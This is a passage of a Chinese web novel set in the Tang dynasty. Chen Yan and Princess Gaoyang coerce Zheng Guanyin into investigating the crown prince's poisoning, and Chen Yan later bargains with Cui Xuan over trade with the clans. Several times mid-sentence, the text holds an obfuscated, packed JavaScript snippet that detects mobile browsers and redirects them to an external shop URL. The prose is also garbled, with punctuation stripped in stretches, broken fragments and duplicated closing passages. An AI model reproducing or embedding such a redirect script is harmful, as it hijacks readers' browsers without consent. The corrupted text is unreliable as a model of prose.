观音扯了扯嘴角,看了高阳一眼,无言以对。 那天高阳找上门的时候,她都没想过高阳竟然能猜到是她,只以为高阳是来找她叙叙旧的。 郑观音面无表情道:“所以,这就是你来找我帮忙的理由?你认为你们陛下查不出来,我可以? “并不是。陈衍笑着摇摇头,“我只是认为,相比于陛下,您这位天然跟我们站在对立面,存在矛盾,又被长安大多掌权人忽略的人,或许能带给我不一样的惊喜。 “反正只是试一试罢了,没什么损失。 “试一试? “你的想法我差不多理解了,可你似乎忘了,我凭什么帮你? “你刚刚也说了,我们之间天然站在对立面,自从上次高阳前来,连昔日那点情分都被她踩在脚下,我不针对你就不错了,你居然还天真地认为我会帮你? 陈衍闻言笑容缓缓收敛,眉头微皱。 他还没开口,高阳就忍不住了,冷声道:“郑!伯母!你说我上次前来,把我们之间那点情分踩在了脚下,但你似乎忘了,你是先利用我夫君的身份来撬动风云,致使病重未曾痊愈的当朝宰相含冤入狱,以此来满足你那可怜又可悲的报复欲。 “今日我就想问问你,到底是谁先不顾往日情分的?又是谁将那点情分先踩在脚下的? 郑观音神色一变。 高阳不给她说话的机会,横眸道:“我知晓你和我父皇他们的矛盾,对于这些事,我们这些小辈不发表看法,也不会在背后去议论。 “上一辈的矛盾,你们上一辈自己解决,不应该牵扯到我们! “毕竟,从小到大,我们这些小辈从未有一刻对你这位伯母不敬,不管是我,还是我的皇兄皇姐,亦或者皇弟皇妹亦是如此。 “是你这位伯母先做的初一,难不成还要怪我做了十五? 话落,郑观音脸色霎时间难看起来。 陈衍惊疑不定地望着身边的妻子。 这特么还是自己那整天就知道打麻将耍横的< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807434|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 索命小娇妻吗? 你这么能说吗? “呵呵.” 郑观音怒极反笑“好一个高阳公主世人都说长乐温婉聪慧但你这位刁蛮的高阳公主好像没差到哪里去。” “是你说的对!” “我先做的初一你做了十五也是应该!” “但我们目前讨论的好像并不是这个问题而是我凭什么要帮你们!” 她顿了顿冷冷一笑 “那我又何必帮你们?” “不!”高阳淡淡道:“你会帮的因为你有很大的嫌疑对太子下毒!” “杀夫之仇不共戴天你报复不了我父皇报复太子完全有可能!” “而且你能做到在渭南县闹出那么大的风波然后吹到长安最后还能安静地生活在这里你确实有这个能力不是吗?” “我的好伯母!” 陈衍有耐心跟郑观音多聊但高阳可没那个耐心! 上次郑观音险些就把她惹火了今天又在这里大言不惭说她把往日的情分踩在了脚下。 她只想呵呵了。 那些狗屁情分不都是她从小到大一次次拜访一次次前来闲聊出来的吗? 既然你说她踩那今天就踩给你看! “.” 高阳短短几句话把郑观音包括陈衍在内都干沉默了。 如果说前面大家还只是暗搓搓的威胁展示自己的语言艺术那高阳此番话就已经是赤裸裸的威胁了。 你不帮是吧? 好我明天就说太子中的毒是你下的! 我看你顶不顶得住! 我倒要看看如果**闹大这次长孙皇后和李世民还会不会顾忌你郑观音的身份。 沉默间高阳忽然笑了笑“对了郑伯母你千万不要忘了韦家是怎么一夜之间衰弱的。” “我夫君别的本事没有但搞事的手段乃天下顶尖!” “刚刚我来的时候发现您好像不是孤身一人我认为.这人呐得为自己与身边的人多考虑考虑。” “.” 第460章 你看看老娘一耳刮扇不扇得死你 从郑观音住处走出来,高阳一改方才能说会道,当面怼郑观音,甚至还威胁她的模样,抬头挺胸,小手一摆: “小衍子,今日本宫可是帮了你大忙,你打算怎么感谢本宫啊?” 陈衍:“.” 果然,高阳依旧是那个高阳。 只有认真起来,超进化之后,才会有脑子的高阳。 他不想搭理她,埋头就往前走。 “哎哎哎!”高阳不满地追上来,一个劲地说:“你干嘛呢?虽然郑观音没有当面答应,但也没拒绝,我敢肯定,她回头一定会帮忙查案的。” “你说这是谁的功劳?” 陈衍抚额,“得了吧,我的公主大人,我来之前就已经想要怎么跟郑观音沟通了,谁知道你突然一通叽里咕噜,硬是用威胁的手段逼迫人家答应下来。” “你这让我后面怎么邀请人家帮我对付世家?” “哈??” 高阳听后,难以置信地伸手摸了摸陈衍的额头,“你没病吧?” “让郑观音帮忙查案就已经很难了,你还想让人家帮你对付世家?” “你真当人家傻啊?” “行了,我自有我的打算。”陈衍拍开她的手,放缓了脚步,“郑观音这女人啊,头脑是有的,但不多,格局也不够大。” “还说我天真,实则天真的是她自己!” “以为你父皇下令不用查了,蔡国公未曾继续追究,此事就过去了?” 高阳心间一动,收敛神色,不解地问:“这件事不确实已经结束了吗?” “结束个屁!”陈衍冷笑,“在这朝堂上,其实是有一个潜规则的,大家不管怎么斗,不管怎么闹都可以,但千万不能触碰了底线。” “我问你,郑观音是怎么污蔑蔡国公入狱的?” 高阳沉思,稍后恍然大悟,“她在渭南县纵容官员与地痞**,各种奇葩的税收层出不穷,致使当地的百姓生活艰难。” “嗯。”陈衍背负双手,跟高阳慢慢往前走,“**本身没什 么,如果只是**些官府的钱,实际上不是什么大事,毕竟这满朝官员,贪官可不少。” “但只要能做事,不太过分,你父皇大多会选择睁一只眼闭一只眼。然而,利用税收的理由**,致使当地百姓怨声载道,这已经属于在挖大唐的根了。” “你父皇表面揭过了此事,是因为她的身份特殊,并不代表你父皇就放过了她。” “谁都知道女人的报复心强,郑观音今天敢为了一时之快,不顾百姓死活,利用权力的小任性闹出那么大的风波,谁知道今后还会做出什么事?” 高阳愣愣道:“所以.郑观音看似没事,实则已经大难临头了?” “对!”陈衍颔首,“从前你没跟我说这件事,然后**案结束,我本以为幕后之人情况特别,早被你父皇秘密处理了,所以从未关注过。” “谁知你今日告诉我,这人竟然是郑观音,比我想象中更特殊一些。这应该也是她还能活着的原因。” “如果我所料不错,你父皇目前不动她,只是想让她放松警惕,说不定哪天郑观音就突然以一种谁都不会怀疑的情况暴毙。” 高阳沉思良久,翻了个白眼,“这么说来,你还是在救她咯?” “倘若她查出谁是给太子下毒的凶手,有机会戴罪立功,说不定父皇和母后会看在往日的情分上,真的让她在这里安度余生?” 陈衍沉吟道:“这个.我也说不好,得看你父皇怎么决定。” “反正她若什么都不做,必死无疑,若是尽心尽力查出来下毒之人,又配合我对付世家,那么还有一线生机。” “我此前其实暗示过她的,没想到她太过不堪了,被一些无用的情绪所左右,根本没察觉到,还说我天真。” 说到此处,陈衍都笑了。 郑观音从某种层面上来讲,还挺嗯.可爱的。 听到他的解释,高阳意识到陈衍之前没说谎,自己可能真的误了事。 她心里有些自责,压低声音说:“那我用威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807435|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的办法逼迫她帮忙,会有影响吗?” 陈衍看了她一眼,隐隐 约约意识到了高阳的想法轻笑道:“无妨你说话尽管难听了些起码她答应了不是?” “如果她后面冷静下来脑子转过弯来了说不定可以意识到我的暗示明白自己的处境。” “届时她同样会心甘情愿帮忙的你也算出了口恶气左右不亏。” “那”高阳依然不太放心“她若是脑子一直转不过弯呢?” “她又不叫高阳 陈衍下意识吐出一句话随即便看到高阳恼怒的表情尴尬地咳嗽两声随后说: “若没转过弯那她就该死!” “我也还有备用选项没关系的。” 听到这话高阳总算放心下来重新展露笑颜。 “陈衍我许久未曾出门好好逛过了趁着今日回长安你陪我玩玩!” “这是你的请求吗?”陈衍反问。 “屁的请求这是你作为丈夫应该做的!” 高阳理直气壮道。 自己可是为了他硬生生压抑住自己的性子那么久整天待在家里孕育孩子。 现在好不容易将孩子生下来自己的身体也恢复了作为丈夫难道不应该陪自己玩一天吗? “这样吗?”陈衍点点头突然问:“既然我作为丈夫有自己应该做的事以及需要负的责任。” “那你作为妻子是不是也得尽一下自己应尽的义务?” “我的义务?”高阳一怔“我什么应尽的义务?” 陈衍露出先前跟她一样理直气壮的模样“正所谓不孝有三无后为大我到现在连个儿子都没有有绝嗣的风险。” “作为妻子你的职责为夫家生育继承人可我到现在依然没有啊!” “你应该给我纳几房小妾这是你应该做的!” 高阳:??? “**吧你!就你还想纳几房小妾你看看老娘一耳刮扇不扇得死你?” “王八蛋!老娘回去就告诉李丽质!” “.” 第461章 兕子:不要哇,我不要回宫! 陪着高阳在外面逛了一整天,直到临近傍晚的时候,高阳才意犹未尽地跟提着大包小包的陈衍回家。 回到渭南伯.不对,现在应该叫渭国公府了。 自陈衍升爵之后,李世民本打算重新赏赐他一所府邸,但陈衍没要,而是打算自己扩建重修。 经过好几个月的时间,早已经修缮完毕。 一到家,陈衍随手将东西丢给下人,然后一屁股坐在椅子上,累得一根手指都不想抬。 “阿兄,你怎么啦?” 小兕子哒哒地跑过来,仰着小脑袋问。 “没逝,就是有点要**。”陈衍仰天长叹,实在无法理解为什么高阳能逛上一整天还活力满满的样子。 她难道不累吗? “有点要**?” 小兕子眼睛顿时大亮,迈着小短腿跑出去,大喊:“阿姐,阿姐,快!快去东街袁大叔家里订一口最好的棺材,咱们马上可以开席啦!” “还有,赶紧去把秦怀道他们请过来,咱们昨天随的礼得收回来啊!” 陈衍:??? **?! 你食不食油饼? 原地开席可还行? 恰好,李丽质正端着茶水走过来,听到她的话,黑着脸给她后脑勺来了一下子。 “你说什么呢?” “你信不信待会我让大家吃你的席?” 兕子委屈巴巴地揉了揉后脑勺,“可这是阿兄自己说的呀,跟我有什么关系?” 李丽质瞪了她一眼,对这个妹妹实在无可奈何了。 她端着茶水进来,给陈衍倒了杯茶,“夫君,兕子还小,你别生气。” “嗯,我不生气!”陈衍幽幽盯着那偷偷瞧他的小家伙,缓缓开口,“说来,兕子在咱家住了这么久,都已经被养得白白胖胖的了,身体也好得差不多了,不如今后就送她回宫吧。” “身为公主,一直住在咱家也不是个事,皇后殿下估计心里也想念她。” “这样吧, 你待会帮兕子收拾一下东西,明天跟高阳进宫一趟,送她回去吧。 兕子一听,顿时慌了,连忙扑过来抱着他,泪眼婆娑道:“阿兄,不要哇,我不要回宫,我就想跟你住在一起。 陈衍不语,只是望着李丽质。 后者对此相当赞同,“夫君说得是,兕子身体已然养好,而且随着年纪变大,继续留在咱家确实不合适。 “我待会就吩咐兕子的两个侍女收拾东西,明天就送她回宫! “哇!!! 见阿姐同样答应,两人把事情落定,兕子顿时大哭出声。 “不要啊,我我不想回去.我以后听话还不行吗? 哭声凄惨无比,简直闻者落泪,听者伤心。 陈衍和李丽质却哈哈大笑起来。 兕子一滞,立即意识到自己上当了,然后更委屈地哭起来。 “坏!你们坏,我以后都不理你们啦,哇呜呜呜~ “谁让你这个小鬼头还想吃我的席!陈衍没好气弹了下她的额头,“亏我平时对你那么好,你阿姐教训你我都帮着你说话。 “你就是这么对我的? 兕子抽泣道:“那你比我大那么多,你的席我总有一天要吃上,早吃晚吃不都是吃吗? 陈衍:“. 他沉默两息,一脸生无可恋地摆手,“去,拖下去,斩立决! “这妹妹不能要了。 李丽质轻笑,“让你平时惯着她,现在知道后悔了吧? “嗯,后悔了!陈衍郑重道:“我现在需要考虑考虑,是不是真的要把她送回宫去了! “不要不要!兕子闻言忙用小手抹了把眼泪,“我不乱说话了,我以后听话还不行吗? “不要把我送回去! 说着,她憋着小嘴,眼泪还从眼眶里冒出来。 似乎是觉得影响视线,小脑袋一甩,在陈衍衣服上擦干了。 陈衍见状满头黑线,已经不想说什么了,摸了摸 她的脑袋,对李丽质道:“这几天看看情况,我们确实要进宫一趟的。毕竟好不容易回长安一次,不进宫拜见一下你父皇母后说不过去。” “看你什么时候有空吧。”李丽质思索道:“反正此事倒也不急,你不是说,明天要去跟世家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807436|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人谈谈合作吗?” “等你忙完了再说吧,渭南县最近不是没什么忙的吗?我们多留在长安几日也无妨。” “好。”陈衍颔首,随即问道:“对了,高阳呢?一回来就不见人影了。” 提起这个,李丽质就忍不住埋怨,“还能干什么去?喂孩子去了呗!” “你们两个真是的,奶娘又不让请,非要自己喂,结果明知道有孩子在家,居然在外玩了一整天才回来。” “若不是我找人喂了一次,小岁安怕是要饿坏了。” “你们心可真大。” 陈衍揉了揉太阳穴,“还不是高阳,这么久以来给她憋坏了,在外撒欢了一天。” “我说早些回来,她还非不听。” 撒欢? 李丽质面色古怪。 用这个词来形容高阳. 李丽质想起从前高阳的性子,认同地点点头。 蛮合适的,确实是撒欢。 “算了,我去看看吧。”陈衍说着起身,又瞪了兕子一眼之后,转身前往主卧。 李丽质也跟着去了。 只有小兕子,怕陈衍真要赶她走,连忙乖乖跑回去了。 渭国公府的改造,除了比之前大了许多,有了绿植、小竹林和假山之外,最大的改变其实是后院和主卧。 陈衍完成了从前对两女的承诺,把主卧给扩建了。 别问为什么没有扩建成两间屋子,然后一人一间,你就说扩没扩建吧? 推开主卧的门,踏入宽阔的屋内,左右两边分别摆放着一个梳妆台,刚好一人一边,其他柜子之类的家具亦是。 最里面,则摆放着一张大床,高阳此刻正坐在上面喂孩子。 见两人进来,她抬了下眼,也不避讳什么,随口说: “姐姐,夫君今日说家中无长子,要我们给他娶两房小妾,你认为呢?” 陈衍:??? **! 李丽质原本展露的笑容僵住了,心里莫名委屈,强颜欢笑道:“应该的,夫君乃是独子,是应该多要几个孩子。” “回头我我物色几个给夫君看看。” “.” 第462章 拱火 说真的,李丽质此时心里确实有些难受了。 按理来说,陈衍作为独子,自己给他物色几个小妾生孩子没什么。自己带来的婵儿,以及高阳带来的香岚随时可以接替这个位置。 但问题是,她自己都还没孩子呢。 高阳生下一个女儿,如果她怀孕了,生下来的同样是女儿,那么陈衍要娶小妾她绝不会多想。 毕竟传宗接代对陈衍来说是目前最重要的事。 倘若确实没有生下儿子,即使陈衍不提,李丽质也会主动将婵儿送上去。 现在嘛. 高阳笑眯眯道:“姐姐,听你的话,应该是答应咯?” “既然你都答应了,那我同样没什么意见,不过物色倒是可以免了,听说从前夫君有一个从小一起长大的玩伴,只是身份低了些,还是一个未破身的寡妇,当个姬妾应该是足够的。” “若她不行,那不还有青儿、婵儿,以及香岚吗?” “特别是青儿,本就是婆婆生前为夫君准备的,现在上位很合适。” 李丽质强忍心里的难受,认真思索了一会儿,微微点点头。 如果是青儿的话,她还能接受。 毕竟跟高阳说的一样,青儿本就是她那过世的婆婆为陈衍准备的侍女,在勋贵圈子里,这其实很常见。 一般来说,等陈衍长大,懂人事之后,这样的侍女早就被拿下了。 然而青儿却是较为特殊,这么多年还是处子之身。 “那我今日跟青儿说说,让她.” “行行行!”陈衍实在头疼,“你别听高阳瞎说,她骗你呢,我什么时候要娶小妾了?” “再者,我连二十岁都没有,你们同样年轻,以后大把的时间传宗接代,不急这一会儿!” 骗我的? 李丽质愕然,扭头看了看笑眯眯的高阳,又看了看陈衍,一阵羞恼。 那自己刚刚想那么多算什么? 亏我还认真考虑青儿是否合适,心里的情绪全摆在脸上了,你们看我笑 话是吧? “高阳!”李丽质咬牙切齿。 高阳扬了扬眉“姐姐我可没骗你陈衍才是骗你的人。今日从郑观音那里离开后夫君可是亲口跟我说让我履行身为妻子的义务赶紧给他娶两个小妾传宗接代。” “我敢保证我说的句句属实大唐人不骗大唐人!” “屁的大唐人不骗大唐人!”陈衍无语道:“瞧你那一副幸灾乐祸的样看热闹不嫌事大我之所以说那些话你心里没数吗?” “我要对青儿下手早下了还轮得到你们商议?” 高阳哼哼两声不说话了专心喂孩子。 反正看李丽质方才的样子肯定是伤心了以陈衍的性子 “夫君.”李丽质幽幽道:“你真的要娶小妾吗?” “没有!”陈衍一口否定拉着她的手“我有你们两个就够了真的没想娶什么小妾。” “嗯!”李丽质轻轻点头“我相信夫君只是高阳方才虽是在开玩笑但有一句话说得很对。夫君乃家中独子没有子嗣定然是不行的。” “高阳妹妹刚生下小岁安不太方便我嫁给夫君也半年多了不如” “这”陈衍闻言一时间有些为难。 他不是不想要儿子只是上次高阳生小岁安的情况还历历在目。 那时高阳已经算运气非常好相当顺利了可依旧吃了太多苦头险些没坚持住。 陈衍暂时不想要孩子他是打算过两年再让李丽质要的。 “丽质你听我说” 他拉着李丽质坐下耐心道:“我是医者上次高阳生小岁安的时候我更是一直陪在旁边。她当时纯属运气好生孩子很顺利但其中依然经历了不少危险。” “我不是不想跟你有个孩子只是现在属实不太合适等过两年你再养养身体届时我们提前一段时间备孕这样更安全可好?” 李丽质安静地听完原本坚定的态度有些动摇了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807437|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 听得出来陈衍是真心的不是不想跟她要孩子而是单纯地担心她。 如果继续坚持多少显得有些一意孤行。 李丽质犹豫着看了眼高阳怀里的小岁安准备开口答应下来按照陈衍所说的等两年。 没曾想高阳突然说:“姐姐他骗你的当初他跟我说过一样的话。信誓旦旦地说要等我年纪大些再要孩子实则他自己心里很想要孩子避孕措施根本没做到位。” “我运气好怀上了小岁安。” 李丽质闻言目光转移到陈衍身上她也不说话就一个劲看着。 陈衍没好气地瞪了眼高阳“那你能跟她一样吗?你能吃能喝身体壮得跟牛犊子一样从小到大上树下河样样精通而丽质呢?” “她多少遗传了皇后殿下的气疾虽然没有兕子他们严重但身体比正常人弱是事实。” “我跟丽质同房的时候避孕措施一向做得很到位的。” “这样吗?”高阳一怔回想起前几天他们疯狂的时候陈衍好像确实多做了一个步骤。 念至此处她不再继续说了。 本来就是看李丽质老是羡慕她有个孩子想着帮帮她既然她情况跟自己不同 “抱歉.是我的原因.” 李丽质神色暗淡自从认识陈衍之后兕子身体好转气疾很久才发作一次而且发作也不太严重自己则是从未发作过这么久以来她都快忘了还有这么一回事。 “没关系的。”陈衍轻声安慰道:“你看到高阳平时做的运动了吗?其实你也可以学学那是强身健体的。” “等你把身体养好咱们慢慢生生十个八个都不成问题。” 李丽质哭笑不得:“十个八个?你当我是猪啊?” “不过.”她好奇道:“高阳妹妹平时做的那些奇怪的动作真的有用吗?” 这次不等陈衍回答高阳便迫不及待道:“有用!非常有用!效果好得不得了!” “姐姐明天我带你一起做!” “.” 第463章 两个方法 翌日,陈衍自认为起得很早,洗漱完,吃完早餐便赶往了醉仙楼。 这时的醉仙楼才开门营业。 本以为能早一步到,顺便想想该怎么跟世家接触,以及世家会提出什么条件。 没曾想,崔宣比他来得更早,醉仙楼还没开门的时候就在外等着了。 更令陈衍意外的是,今天依然只有崔宣一个人来。 这算什么? 对他的不重视? 又或者是崔宣很受世家信任? “渭国公大人!” 崔宣依旧行礼,姿态放得很低。 不像那些寻常二代一样,下巴能抬到天上去。 陈衍对他观感还是不错的,笑着打了声招呼:“崔公子,你怎么这般早?醉仙楼现在才开门营业呢。” “没办法,家里长辈对跟渭国公的合作相当重视,又担心年纪大的人会跟您有代沟,只好催促我早些来了。”崔宣故作感叹,随后做了个请的手势: “渭国公,我前天便在上面定好了位置,劳烦您移步。” 陈衍轻轻点头,对崔宣又高看了一眼。 一句不大不小的玩笑,既没让人觉得反感,更是表明了对他的重视,以及为何只有他一个人前来的原因。 果然! 崔宣这样的人,应该才是世家内部真正受重视的精英。 来到醉仙楼三层包厢内,这里的菜已经基本上齐了,看来是早有准备。 两人相对而坐,默契地先夹菜放进锅内。 而后陈衍率先开口:“崔公子,看得出来,你应该在家族内部地位很高,说不好就是未来家族的支柱之一,在谈合作之前,能否请问一下,你有什么追求吗?” “追求.”崔宣默默思量着这两个字,他最先考虑的,就是陈衍的问题里有没有什么深意,或者暗藏什么玄机。 陈衍见状说:“或者说崔公子未来想做什么,心里有什么理想?” “活几十年,有没有什么目标。” 崔宣沉默道:“我倒也没什么追求,从小受到家族培养,未来只想为家族尽一份力罢了。” “我其实并没有您想象中那么出众,心里存在一点大义,但不多,因为我首先要顾的,是自己的小家。” “嗯?”陈衍略微惊讶。 他没想到,崔宣竟然说出了这样一番话。 听得出来,这不是应付,而是崔宣的真心话。 崔宣嘴角露出一丝笑容:“让渭国公见笑了。” 陈衍摇摇头:“为何说见笑?崔公子只是一个普通人罢了,大家都一样,需要先顾好自己的小家,才能顾得上大家。” “或者说,除了那些真的心里装着众生的先贤,以及圣人,天下万万人,都是如此。” 说着,他顿了顿:“就如同我很喜欢的一句话,穷则独善其身,达则兼济天下,没什么见不见笑的。” “我唯一比你好点的,可能就是家更小点,只有三两人罢了。” 崔宣心中一动:“所以,您才拿出了种种东西来造福百姓?” “棉衣的售价也并不高。” “呵呵,算不上。”陈衍摆摆手,“棉花其实就在那里,只是从前大家都没意识到它的作用,我不忍棉花被当成花朵来欣赏,所以稍微种了点罢了。” 崔宣嘴角一抽。 稍微种一点? 头一两年种几千亩,今年更是种了十多万亩,你这叫稍微种一点? 他缓了缓心神,沉吟道:“渭国公自谦了,您说自己顾上小家才能顾上大家,但自您做官以来,得您恩惠活命的百姓不知几何。” “就好比那棉衣,虽然用料差些,但若是您想卖高价,相信仍然不缺买家。” “您看似在通过别人看不上的商贾之道大肆敛财,实则真正赚取的利润根本不多,而且赚来的钱财也重新散了出去。” “古之圣贤也只是给大家开智、知礼,而您却让大家活命。” “您心中亦有大义!” 陈衍眨眨眼,一时间有些茫然。 这咋说着说着,自己都要跟古之圣贤并肩了呢? 吹得有些过了吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是,今天这么好的机会,崔宣实在不愿意就这么草草结束。 半晌,崔宣试探性地说:“渭国公,您第二个合作的方法很好,大家各取所需,各有互补,共同获利,我现在就能代表家族答应下来。 “不过,渭国公有没有考虑过,以今年的种植规模,收获的棉花必然不少,制作出来的高端棉衣,我们不妨通过丝绸之路卖出去。 “相信能得到的利益会更多一些。 “. 第464章 爽快 陈衍闻听此话,瞬间明白崔宣打的什么主意了。 说是要把棉衣通过世家的渠道卖到大唐之外,获取更高的利润。 可哪怕世家有渠道,但出去一趟同样不容易,绝对要多带些东西。 那么带上一些绢帛是不是就很合理了? 绢帛都带了,带些白蜡、白糖很合理吧? 这些在大唐之外可都是硬通货,价值相当之高。 陈衍似笑非笑地望着崔宣:“崔公子,话是这么说没错,我也不否认棉衣在大唐之外产生的价值,但你好像忽略了一个问题。 “整个大唐目前都没有多少棉衣,以我们目前的种植量,哪怕放弃低端的市场,专注于做好的棉衣,去满足富家人以及勋贵恐怕都不够。 “连大唐的需求我们都没满足,何必冒那么大风险把棉衣运出去呢? 一席话落下,崔宣想要劝劝他,但陈衍直接道:“崔公子,不用说了,至少三五年之内,我不会考虑把棉衣运出去。 崔宣想说的话卡在嗓子里,最后还是妥协了。 “好吧,那就依渭国公所言,反正三五年时间也不算多。 说这话的同时,崔宣的脑子飞速运转,开始思考怎么通过其他办法跟陈衍绑定更多利益。 一项棉花的小合作,终究是不稳定。 陈衍含笑点头,夹了几块肉吃。 实际上,现在跟世家谈什么种棉花的合作,那都是虚的。 因为他明年就不打算种这玩意了,明年他有更好的东西要种。 到时候直接把种子卖给百姓种,自己从百姓手中收购就好了。 哪里用得着那么麻烦? 毕竟,大唐现在是出了名的人少地多。 别看一位公主出嫁,嫁妆动不动就几万亩,这还是嫁妆中不太重要的一环。 这玩意听起来很多,实则以大唐目前的制度,正常百姓手中可是拥有一百亩地的。 他那点地,也就比得上一千个百姓的地。 所以干嘛要费那么大劲自己种,又找人合作? 吃饱了没事干。 陈衍之所以答应合作,只不过是暂时忽悠住世家而已,棉花根本就不重要,在这里唯一的作用就是跟世家勾搭上。 至于等明年他突然说不种,世家会不会有意见 嗯.计划赶不上变化嘛,相信他们可以理解的。 而且,陈衍有把握明年的时候,即使他说不种,世家也不会多说什么。 “. 接下来,两人一边闲聊,实则都在心里想着事情。 之后,陈衍先想好说辞,开口道:“崔公子,我已经听你说过好几次你们有通往大唐之外的稳定渠道了。既然棉花的合作暂时决定下来,之后可以派下面的人慢慢商谈细节,不如.我们谈谈其他的合作? “其他的合作?崔宣闻言,愣了好一会儿,满脑袋问号。 不是,这句话不应该自己来说吗? 为什么你就先提出来了? 难道 崔宣想起陈衍前头说他很苦恼绢帛只能在大唐售卖,神情一震! 他有所怀疑,却又不敢确定,小心问道:“渭国公,不知您方才说的其他合作,指的是哪方面? “哪方面都有! “我估计最早明年初,或者年末,我很可能就要回到长安任职,官位或许还不低。 “届时盯着我的人应该会更多。 “你大概听说过,我买卖还没做大之前,就有不少人说我与民争利。其实我也不想的,可渭南县需要发展,需要钱,我只能出此下策。 崔宣面露微笑,露出理解的表情。 实则对陈衍的话大多不相信。 屁的说你与民争利。 说的好像你还在乎名声一样。 当初你在朝堂上指着群臣的鼻子骂彼其娘也的时候,你怎么不在乎名声? 打公主 、混青楼、买卖做到几乎垄断的时候,你怎么不在乎名声? 当然了,对于陈衍说他自己马上要回到长安,官位可能还不低,这个崔宣倒是信了。 而且认为这才合理。 像他这样的人,怎么可能一直待在渭南县? “所以,等我回到长安任职,买卖上面的事就不太好出面了,大概是交给手下的人打理!” 陈衍一顿长篇大论,然后才进入正题:“不过,你也知道,我底蕴少,手底下的人只能说勉勉强强,维持现状不是问题,想继续有好的发展就很难了。” “在大唐,好的买卖,最终都是要走出去才能赚到大钱的。” “你说你们有好的渠道,那我们不妨先尝试一下进行一些这方面的合作,我提供货物,你们负责卖到大唐之外,利润咱们五五分,如何?” 嗯? 崔宣倏地瞪大双眼,不敢相信自己听到了什么。 不是,这好像是我的词吧? 这是我想说的话,我的目的啊! 崔宣脑子都宕机了。 总觉得今天太过顺利了,顺利到他实在不敢相信。 “.渭国公,那我们具体怎么个合作方法?” 崔宣已经开始怀疑陈衍在演自己了,但他打算先听听对方怎么说。 另一边,陈衍把崔宣的神情全部收入眼中,笑道:“很简单,大家接触很少,互相了解都不多,毕竟现在你说的只是你的一面之词。” “我也没见过你的渠道,不是吗?” “我想的是,我们最初用白糖来合作,先试试,如果结果不错,那咱们再继续往下聊。” “而且,我同样有要求,那就是我只负责供货,其他我不管。你们想拿到货,首先得给出与货物价值相等的保证金,以免你们拿了货我找不到人。” “其次,你们要提供给我各种原材料,例如制作绢帛的蚕丝等等。还有,我这个人喜欢收藏书籍,我希望可以从你们手中购买那些买不到的书籍,最好是原本;如果实在没有,那手抄本也行” 接下来,陈衍提出了一系列要求,一个比一个让人无法接受。 偏偏崔宣越听越放心。 特别是听到陈衍要书籍,崔宣立即想起了那天王珪说的话。 “各凭本事罢了!” “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 、混青楼、买卖做到几乎垄断的时候你怎么不在乎名声? 当然了对于陈衍说他自己马上要回到长安官位可能还不低这个崔宣倒是信了。 而且认为这才合理。 像他这样的人怎么可能一直待在渭南县? “所以等我回到长安任职买卖上面的事就不太好出面了大概是交给手下的人打理!” 陈衍一顿长篇大论然后才进入正题:“不过你也知道我底蕴少手底下的人只能说勉勉强强维持现状不是问题想继续有好的发展就很难了。” “在大唐好的买卖最终都是要走出去才能赚到大钱的。” “你说你们有好的渠道那我们不妨先尝试一下进行一些这方面的合作 嗯? 崔宣倏地瞪大双眼不敢相信自己听到了什么。 不是这好像是我的词吧? 这是我想说的话我的目的啊! 崔宣脑子都宕机了。 总觉得今天太过顺利了顺利到他实在不敢相信。 “.渭国公那我们具体怎么个合作方法?” 崔宣已经开始怀疑陈衍在演自己了但他打算先听听对方怎么说。 另一边陈衍把崔宣的神情全部收入眼中笑道:“很简单大家接触很少互相了解都不多毕竟现在你说的只是你的一面之词。” “我也没见过你的渠道不是吗?” “我想的是我们最初用白糖来合作先试试如果结果不错那咱们再继续往下聊。” “而且我同样有要求那就是我只负责供货其他我不管。你们想拿到货首先得给出与货物价值相等的保证金以免你们拿了货我找不到人。” 